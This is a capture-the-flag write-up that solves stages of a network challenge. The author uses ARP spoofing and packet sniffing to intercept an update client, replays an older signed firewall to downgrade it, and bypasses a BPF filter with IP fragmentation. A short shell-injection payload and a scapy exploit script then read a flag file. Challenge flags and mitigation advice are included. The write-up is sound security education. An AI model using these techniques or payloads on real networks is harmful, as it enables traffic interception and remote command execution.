5224 Nexantic DevOps Challenge | Episode 2

localo

May 4, 2019

Contents

1 Prologue **1**

2 Stage 2 : A new hope **1**

3 Stage 3 : The Endboss **3**
- 3.1 BPF 4
- 3.2 Knock, knock 7
- 3.3 Bypassing the filter 7
- 3.4 Final exploit 8

4 Code **9**

5 Flags **9**

6 Mitigation **9**

1 Prologue

Last time I used a bug to get all flags, but it got fixed.
But can we still beat the challenge?!

2 Stage 2 : A new hope

This was a bit easier for me, because I remembered, that the grep I did to get the second flag contained something curl related.

We can examine the content of */etc/hosts* to get the machines in the network.
The most interesting is called **repository**. *Nmap* reveals, that port 80 is open.
We can make a GET request by using *curl*. It mentions, that we should solve stage2 first, but there is something called **firewallUpdate**.
As updaters usually make requests periodically I decided to redirect all traffic that goes to that machine to mine to analyze it. To do this decided to setup arpspoof. I used the repo of *abdularis* to get it.
`https://github.com/abdularis/arpspoof`
It can be copied via base64 to the remote machine (just as I did in my last writeup).
For each of the other machines I setup arpspoof. And used tcpdump to sniff the traffic to my machine.
Don't forget to setup ip forwarding.

commands after copying arpsoof

```
[root@stage1]# cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
```

```
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.28.53.10    zeus
172.28.53.11    poseidon
172.28.53.12    repository
172.28.53.13    monitoring
172.28.53.10    stage1

[root@stage1]# nmap -F poseidon repository monitoring
Nmap scan report for poseidon (172.28.53.11)
Host is up (0.00024s latency).
All 100 scanned ports on poseidon (172.28.53.11) are closed
MAC Address: 02:42:AC:1C:35:0B (Unknown)

Nmap scan report for repository (172.28.53.12)
Host is up (0.00013s latency).
Not shown: 99 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:42:AC:1C:35:0C (Unknown)

Nmap scan report for monitoring (172.28.53.13)
Host is up (0.00011s latency).
All 100 scanned ports on monitoring (172.28.53.13) are closed
MAC Address: 02:42:AC:1C:35:0D (Unknown)

Nmap done: 3 IP addresses (3 hosts up) scanned in 7.52 seconds

[root@stage1]# curl repository
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="firewallUpdate/">firewallUpdate/</a>                    02-May-2019 13:34   -
<a href="50x.html">50x.html</a>                                  06-Apr-2019 13:08 494
<a href="CHANGELOG">CHANGELOG</a>                                02-May-2019 13:02 814
<a href="solve-STAGE1-and-2-first">solve-STAGE1-and-2-first</a> 02-May-2019 13:02  21
</pre><hr></body>
</html>

[root@stage1]# ./arpspoof -i eth0 -t 172.28.53.11 -s 172.28.53.12>/dev/null&
[root@stage1]# ./arpspoof -i eth0 -t 172.28.53.13 -s 172.28.53.12>/dev/null&

[root@stage1]# echo 1 > /proc/sys/net/ipv4/ip_forward

[root@stage1]# tcpdump -A host repository and not arp
...
20:11:24.144161 IP poseidon.41492 > repository.http: ...
...
GET / HTTP/1.1
Host: repository
User-Agent: curl/7.61.1
Accept: */*
X-Flag: STAGE2_Aicoh1eHinitei5ol6cee8oo

...

20:11:24.152180 IP poseidon.41494 > repository.http: ...
GET /firewallUpdate/latest.bin HTTP/1.1
Host: repository
User-Agent: curl/7.61.1
Accept: */*

...
20:23:23.000995 IP poseidon.42118 > repository.http: ...
...
GET /firewallUpdate/v0.0.12.bin HTTP/1.1
Host: repository
User-Agent: curl/7.61.1
Accept: */*

...
```

```
20:23:23.009433 IP poseidon.42120 > repository.http: ...
...
GET /firewallUpdate/latest.sig HTTP/1.1
Host: repository
User-Agent: curl/7.61.1
Accept: */*

...
20:23:23.009592 IP poseidon.42120 > repository.http: ...
...
GET /firewallUpdate/v0.0.12.bin.sig HTTP/1.1
Host: repository
User-Agent: curl/7.61.1
Accept: */*

...
```

And the traffic contained the flag.
The machine, which was sending it was... **poseidon**

"oneliner"

```
[root@stage1]# echo 1 > /proc/sys/net/ipv4/ip_forward & ./arpspoof -i eth0 -t \
 `cat /etc/hosts | grep "poseidon" | awk '{ print $1 }'` -s `cat /etc/hosts
 | grep "repository" | awk '{ print $1 }'` > /dev/null & tcpdump -A host \
 `cat /etc/hosts | grep "repository" | awk '{ print $1 }'` and not arp \
 | grep "STAGE2_"

 ...
 X-Flag: STAGE2_Aicoh1eHinitei5ol6cee8oo
 ...
```

3 Stage 3 : The Endboss

The last challenge was a lot harder.
From the tcpdump we can see that also some files are downloaded from the update server.
Therefore I went back to that server and downloaded the *CHANGELOG* file.

"CHANGELOG"

```

ACME Corp Inc. Dynamic Firewall
===============================
        RELEASE NOTES
===============================


v0.0.11
-------

* Oh noes! Our glue-sniffing development team has done it *again* and their
  horrible abomination of a monitoring tool failed the pentest. Their project
  manager refuses to fix it as it's a "trusted internal network" and
  "clearly impossible to exploit".

  Security team asked us to add an emergency fix, anyway - can't trust'em.

* We had to remove the Heartbleed mitigation due to the bytecode instruction
  limit. Corp team told us they had updated all of their boxes. We didn't
  believe them and did a scan on our own, but guess what, didn't find a single
  one. Can't believe it. It only took them three years!


v0.0.10
-------

* Add global Heartbleed mitigation.
```

It looked promising, but was not really helpful.
I downloaded the files mentioned in the tcpdump.

latest.bin and latest.sig are just redirects to *v0.0.12.bin and v0.0.12.sig*.
v0.0.12.sig is just the signature for *v0.0.12.bin* nothing special there.
But *v0.0.12.bin* looks interesting.

v0.0.12.bin

```
60,40 0 0 12,21 57 0 34525,21 0 56 2048,48 0 0 23,
21 0 51 17,40 0 0 20,69 49 0 8191,177 0 0 14,72 0 0 16,
21 0 46 4000,64 0 0 22,21 0 42 1836019305,64 0 0 26,
21 0 40 1953460768,80 0 0 30,21 1 0 0,53 0 41 61,37 40 0 122,
80 0 0 31,21 1 0 0,53 0 37 61,37 36 0 122,80 0 0 32,21 1 0 0,
53 0 33 61,37 32 0 122,80 0 0 33,21 1 0 0,53 0 29 61,
37 28 0 122,80 0 0 34,21 1 0 0,53 0 25 61,37 24 0 122,
80 0 0 35,21 1 0 0,53 0 21 61,37 20 0 122,80 0 0 36,21 1 0 0,
53 0 17 61,37 16 0 122,80 0 0 37,21 1 0 0,53 0 13 61,
37 12 0 122,80 0 0 38,21 1 0 0,53 0 9 61,37 8 0 122,80 0 0 39,
21 1 0 0,53 0 5 61,37 4 0 122,72 0 0 18,37 2 0 26,40 0 0 20,
69 0 1 16383,6 0 0 65535,6 0 0 0
```

It is not like base64 where you just know 'that is probably base64' just by looking at it. It is *weird*.
Therefore I just asked google and searched for the first few characters. . . No result.
And for some part in the middle, that looked like something. . . No result.
But by searching for the last part I finally got some helpful results.

3.1 BPF

I searched for **",6 0 0 65535,6 0 0 0"**
And all results mentioned the three letters **BPF**. I have never heared about it, but wikipedia revealed that it is an acronym for *Berkeley Packet Filter*. Basically it allows to filter packets by using spacial machine language.
I disassembled it by using *PyBPF* `https://github.com/kleptog/PyBPF` My first idea was to write a custom filter and send it to the updater, but because of the signature and the challenge description I didn't. I remembered that the changelog mentions an older version of the firewall and downloaded *v0.0.11.bin and v0.0.11.sig*
Then I *diffed* the two disassembled versions to find something interesting and reverse engineered them.

"output"

```
$ bpf disasm v0.0.11.bin > a
$ bpf disasm v0.0.12.bin > b
$ diff -u a b
--- a   2019-05-03 23:19:13.876244900 +0200
+++ b   2019-05-03 23:19:19.394464900 +0200
@@ -1,58 +1,60 @@
 l0:    ldh [12]
-l1:    jeq #0x86dd, l57
-l2:    jneq #0x800, l57
+l1:    jeq #0x86dd, l59
+l2:    jneq #0x800, l59
 l3:    ldb [23]
-l4:    jneq #0x11, l57
+l4:    jneq #0x11, l56
 l5:    ldh [20]
-l6:    jset #0x1fff, l57
+l6:    jset #0x1fff, l56
 l7:    ldx 4*([14] & 0xf)
 l8:    ldh [x+16]
-l9:    jneq #0xfa0, l57
+l9:    jneq #0xfa0, l56
 l10:   ld [x+22]
 l11:   jneq #0x6d6f6e69, l54
 l12:   ld [x+26]
 l13:   jneq #0x746f7220, l54
 l14:   ldb [x+30]
 l15:   jeq #0x0, l17
-l16:   jlt #0x3d, l56
-l17:   jgt #0x7a, l56
+l16:   jlt #0x3d, l58
+l17:   jgt #0x7a, l58
```

```
 l18:    ldb [x+31]
 l19:    jeq #0x0, l21
-l20:    jlt #0x3d, l56
-l21:    jgt #0x7a, l56
+l20:    jlt #0x3d, l58
+l21:    jgt #0x7a, l58
 l22:    ldb [x+32]
 l23:    jeq #0x0, l25
-l24:    jlt #0x3d, l56
-l25:    jgt #0x7a, l56
+l24:    jlt #0x3d, l58
+l25:    jgt #0x7a, l58
 l26:    ldb [x+33]
 l27:    jeq #0x0, l29
-l28:    jlt #0x3d, l56
-l29:    jgt #0x7a, l56
+l28:    jlt #0x3d, l58
+l29:    jgt #0x7a, l58
 l30:    ldb [x+34]
 l31:    jeq #0x0, l33
-l32:    jlt #0x3d, l56
-l33:    jgt #0x7a, l56
+l32:    jlt #0x3d, l58
+l33:    jgt #0x7a, l58
 l34:    ldb [x+35]
 l35:    jeq #0x0, l37
-l36:    jlt #0x3d, l56
-l37:    jgt #0x7a, l56
+l36:    jlt #0x3d, l58
+l37:    jgt #0x7a, l58
 l38:    ldb [x+36]
 l39:    jeq #0x0, l41
-l40:    jlt #0x3d, l56
-l41:    jgt #0x7a, l56
+l40:    jlt #0x3d, l58
+l41:    jgt #0x7a, l58
 l42:    ldb [x+37]
 l43:    jeq #0x0, l45
-l44:    jlt #0x3d, l56
-l45:    jgt #0x7a, l56
+l44:    jlt #0x3d, l58
+l45:    jgt #0x7a, l58
 l46:    ldb [x+38]
 l47:    jeq #0x0, l49
-l48:    jlt #0x3d, l56
-l49:    jgt #0x7a, l56
+l48:    jlt #0x3d, l58
+l49:    jgt #0x7a, l58
 l50:    ldb [x+39]
 l51:    jeq #0x0, l53
-l52:    jlt #0x3d, l56
-l53:    jgt #0x7a, l56
+l52:    jlt #0x3d, l58
+l53:    jgt #0x7a, l58
 l54:    ldh [x+18]
-l55:    jle #0x1a, l57
-l56:    ret #0xffff
-l57:    ret #0x0
+l55:    jgt #0x1a, l58
+l56:    ldh [20]
+l57:    jset #0x3fff, l58, l59
+l58:    ret #0xffff
+l59:    ret #0x0
```

I cleaned it a bit and annotated the important stuff.

"cleaned"

```
 l0:     ldh [12]
 l1:     jeq #0x86dd, r0     if ipv6 return 0 (this is unnecessary)
 l2:     jneq #0x800, r0     if not ipv4 return 0
 l3:     ldb [23]
-l4:     jneq #0x11, r0      if protocol != udp return 0
+l4:     jneq #0x11, l56     if protocol != udp goto new flag check
```

```
 l5:    ldh [20]
-l6:    jset #0x1fff, r0     - if ip flags&0x1fff (last 13 bits) return 0
+l6:    jset #0x1fff, l56    + if ip flags&0x1fff (last 13 bits) goto new flag check
 l7:    ldx 4*([14] & 0xf)     set x to the header length * 4
 l8:    ldh [x+16]
-l9:    jneq #0xfa0, r0      - if port != 4000 return 0
+l9:    jneq #0xfa0, l56     - if port != 4000 goto new flag check
 l10:   ld [x+22]        this is where the data starts
 l11:   jneq #0x6d6f6e69, l54 if data[:4] != "moni" skip to end
 l12:   ld [x+26]
 l13:   jneq #0x746f7220, l54   if data[4:8] != "moni" "tor " skip to end
 l14:   ldb [x+30]        ------
 l15:   jeq #0x0, l17      This part checks if the next byte is 0x00
 l16:   jlt #0x3d, r-1       or between 0x3d and 0x7a and returns -1 if not
 l17:   jgt #0x7a, r-1       ------
 l18:   ldb [x+31]        Now it will be repeated for the next 9 bytes
 l19:   jeq #0x0, l21
 l20:   jlt #0x3d, r-1
 l21:   jgt #0x7a, r-1
 l22:   ldb [x+32]
 l23:   jeq #0x0, l25
 l24:   jlt #0x3d, r-1
 l25:   jgt #0x7a, r-1
 l26:   ldb [x+33]
 l27:   jeq #0x0, l29
 l28:   jlt #0x3d, r-1
 l29:   jgt #0x7a, r-1
 l30:   ldb [x+34]
 l31:   jeq #0x0, l33
 l32:   jlt #0x3d, r-1
 l33:   jgt #0x7a, r-1
 l34:   ldb [x+35]
 l35:   jeq #0x0, l37
 l36:   jlt #0x3d, r-1
 l37:   jgt #0x7a, r-1
 l38:   ldb [x+36]
 l39:   jeq #0x0, l41
 l40:   jlt #0x3d, r-1
 l41:   jgt #0x7a, r-1
 l42:   ldb [x+37]
 l43:   jeq #0x0, l45
 l44:   jlt #0x3d, r-1
 l45:   jgt #0x7a, r-1
 l46:   ldb [x+38]
 l47:   jeq #0x0, l49
 l48:   jlt #0x3d, r-1
 l49:   jgt #0x7a, r-1
 l50:   ldb [x+39]
 l51:   jeq #0x0, l53
 l52:   jlt #0x3d, r-1
 l53:   jgt #0x7a, r-1      End of the data check
 l54:   ldh [x+18]
 l55:   jgt #0x1a, r-1      if udp packet length is > 0x1a return -1
+l56:   ldh [20]
+l57:   jset #0x3fff, r-1   if ip flags&0x3fff (last 14 bits) return -1
 r0 :   ret #0x0
 r-1:   ret #0xffff
```

What does this tell us?

- there is something on port 4000
- data starting with 'monitor ' is treated special
- the ip flag check (used for fragmentation) is updated in the new version
- the udp packet length should be less than 26
- the maximal data length is 26-8(udp header length)=18 (maybe a buffer limit?!)

By analyzing the flow we can see that if we set any of the 13 first flag bits the packet will pass in the old version.

3.2 Knock, knock

But what actually is on port 4000?!
I wrote a small python script to send some data to it.

"test_port.py"

```
import socket
while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.settimeout(2)
        s.sendto(bytes(input(': '),'ascii'), ('poseidon', 4000))
        d = s.recv(1024)
        print(d)
    except KeyboardInterrupt:
      break
    except:
      print('FAILED')
        pass
```

And I tested some input.

"test output"

```
[root@stage1]# python3 test_port.py
: a
b'unknown command\n'
: b
b'unknown command\n'
: monitor
b'/dev/sda        10475520 1079400   9396120  11% /\n'
: monitor a
b'error'
: monitor b
b'error'
: monitor c
b'error'
...
: monitor s
b'/dev/sda        10475520 1079400   9396120  11% /\n'
: monitor sa
b'error'
...
: monitor sd
b'/dev/sda        10475520 1079400   9396120  11% /\n'
: monitor sda
b'/dev/sda        10475520 1079400   9396120  11% /\n'
: monitor sdal
b'error'
: monitor <
FAILED
: <
b'unknown command\n'
```

Okay, monitor seems to be a command. And returns some drive info if the second argument (separated by a space) is the first part of a drive name. If we enter something that should not pass the packet filter it won't return.
This just works as expected.

3.3 Bypassing the filter

To get the updater to download the old firewall we can just mirror the actual server, replace the new binaries with the old ones and server them with python.

"test output"

```
[root@stage1]# mkdir firewallUpdate
[root@stage1]# curl repository/firewallUpdate/v0.0.11.bin > firewallUpdate/latest.bin
[root@stage1]# curl repository/firewallUpdate/v0.0.11.bin.sig > firewallUpdate/latest.sig
[root@stage1]# echo 1 > /proc/sys/net/ipv4/conf/eth0/route_localnet
```

```
[root@stage1]# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth0 -j \
     DNAT --to 127.0.0.1:8000
[root@stage1]# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.28.53.11 - - [03/May/2019 22:45:23] "GET / HTTP/1.1" 200 -
172.28.53.11 - - [03/May/2019 22:45:23] "GET /firewallUpdate/latest.bin HTTP/1.1" 200 -
172.28.53.11 - - [03/May/2019 22:45:23] "GET /firewallUpdate/latest.sig HTTP/1.1" 200 -
...
^C
Keyboard interrupt received, exiting.
[root@stage1]# python3 -m http.server 2>/dev/null &
```

We have to setup a iptables rule to redirect the packet to our ip and enable routing of external packets to localhost. Now the updater should install the old firewall on the machine. And we can start tinkering with the flag bits...
Luckily scapy is installed! If I would have known it before I probably would have written my own arp spoofer, because I had some trouble finding one that works and is small.
After everything was setup correctly I tried this.

"test output"

```
>>> pkt =Ether()/IP(dst=Net('poseidon'))/UDP(dport=4000, sport=1337)\
    /Raw(load="monitor sda")
>>> r = srp(pkt)
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
>>> r[0][0][1].lastlayer()
<Raw  load='/dev/sda        10475520 1079400   9396120  11% /\n' |>


>>> pkts = fragment(pkt.__class__(pkt.build()),fragsize=8)
>>> r = srp([pkt.__class__(_.build()) for _ in pkts],timeout=1)
Begin emission:
Finished sending 3 packets.
*
Received 1 packets, got 1 answers, remaining 2 packets
>>> r[0][0][1].lastlayer()
<Raw  load='/dev/sda        10475520 1079400   9396120  11% /\n' |>


>>> pkt =Ether()/IP(dst=Net('poseidon'))/UDP(dport=4000, sport=1337)\
    /Raw(load="monitor <")
>>> pkts = fragment(pkt.__class__(pkt.build()),fragsize=8)
>>> r = srp([pkt.__class__(_.build()) for _ in pkts],timeout=1)
Begin emission:
Finished sending 3 packets.
*
Received 1 packets, got 1 answers, remaining 2 packets
>>> r[0][0][1].lastlayer()
<Raw  load='error' |>
```

The first part shows, that a 'normal' packet works.
The second part tests if fragmented packets work.
The last part demonstrates that we can bypass the filter this way.

3.4 Final exploit

Now we have to find the exploit. I expected this to be command injection. But we have some constraints, our payload can only be 10 bytes long and can't have any spaces.
With a bit trial and error it can be figured out, that ' must be used to escape. With the payload *monitor '|ls'* we get that the working directory is /
And contains the flag file.

"ls"

```
bin
boot
```

```
dev
etc
flag
home
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
work
```

And then we can use *cat* to read out the content.

"cat"

```
payload: monitor '|cat<f*'
FINAL_sahl0ieZ6oojai2sho5oo

Well done.
```

And I still have one byte remaining.

4 Code

stage3.py

```
from scapy.all import *
payload = "monitor '|cat<f*'"
pkt = Ether()/IP(dst=Net('poseidon'))/UDP(dport=4000, sport=1337)/Raw(load=payload.encode())
pkts = fragment(pkt.__class__(pkt.build()),fragsize=8)
r = srp([pkt.__class__(_.build()) for _ in pkts],timeout=1)[0]
if not r:
    print("no response")
    exit(0)
for n in r:
    l = n[1].lastlayer()
    if(l.__class__ == Raw):
        print(l.load.decode())
```

5 Flags

STAGE1_ahpeeHahy7aingea8ahr6
STAGE2_Aicoh1eHinitei5ol6cee8oo
FINAL_sahl0ieZ6oojai2sho5oo

6 Mitigation

To mitigate the problem of stage2 the routing network (router/switches) can be configured to drop arp packets on any information mismatch. There are even software based solutions, that can at least detect some arp attacks.
Or a static arp table can be used.

To mitigate the problems of the final challenge there are two main things, that should be done:

- add a downgrade protection (this can be done via version number check or other methods)
- fix the command line injection (removing single quotes from user input should solve this)